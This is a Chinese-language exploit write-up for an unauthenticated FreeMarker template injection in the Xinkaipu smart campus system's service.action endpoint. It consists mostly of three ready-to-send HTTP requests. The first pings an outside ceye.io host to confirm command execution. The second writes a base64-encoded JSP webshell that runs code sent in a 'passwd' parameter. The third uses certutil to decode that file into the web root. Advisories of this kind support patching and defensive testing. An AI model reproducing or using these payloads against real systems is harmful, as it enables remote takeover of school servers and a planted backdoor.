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Copy path新开普智慧校园系统代码执行漏洞.txt
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新开普智慧校园系统代码执行漏洞.txt
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漏洞详情
新开普智慧校园系统/service_transport/service.action接口处存在FreeMarker模板注入，攻击者可在未经身份认证的情况下，调用后台接口，构造恶意代码实现远程代码执行，最终可造成服务器失陷。
路径存在则漏洞存在
http://xxx.com/service_transport/service.action
纯文本
poc没回显
POST /service_transport/service.action HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
{
"command": "GetFZinfo",
"UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c ping v0u26h.ceye.io\")}"
}
纯文本
写文件
POST /service_transport/service.action HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
{
"command": "GetFZinfo",
"UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c echo PCUhCiAgICBjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXIgewogICAgICAgIFUoQ2xhc3NMb2FkZXIgYykgewogICAgICAgICAgICBzdXBlcihjKTsKICAgICAgICB9CiAgICAgICAgcHVibGljIENsYXNzIGcoYnl0ZVtdIGIpIHsKICAgICAgICAgICAgcmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsIDAsIGIubGVuZ3RoKTsKICAgICAgICB9CiAgICB9CiAKICAgIHB1YmxpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBzdHIpIHRocm93cyBFeGNlcHRpb24gewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgic3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOwogICAgICAgICAgICByZXR1cm4gKGJ5dGVbXSkgY2xhenouZ2V0TWV0aG9kKCJkZWNvZGVCdWZmZXIiLCBTdHJpbmcuY2xhc3MpLmludm9rZShjbGF6ei5uZXdJbnN0YW5jZSgpLCBzdHIpOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkJhc2U2NCIpOwogICAgICAgICAgICBPYmplY3QgZGVjb2RlciA9IGNsYXp6LmdldE1ldGhvZCgiZ2V0RGVjb2RlciIpLmludm9rZShudWxsKTsKICAgICAgICAgICAgcmV0dXJuIChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZSIsIFN0cmluZy5jbGFzcykuaW52b2tlKGRlY29kZXIsIHN0cik7CiAgICAgICAgfQogICAgfQolPgo8JQogICAgU3RyaW5nIGNscyA9IHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwYXNzd2QiKTsKICAgIGlmIChjbHMgIT0gbnVsbCkgewogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGJhc2U2NERlY29kZShjbHMpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CiAgICB9CiU+ >./webapps/ROOT/1.txt\")}"
}
纯文本
文件转换为jsp
POST /service_transport/service.action HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
{
"command": "GetFZinfo",
"UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c certutil -decode ./webapps/ROOT/1.txt ./webapps/ROOT/1.jsp\")}"
}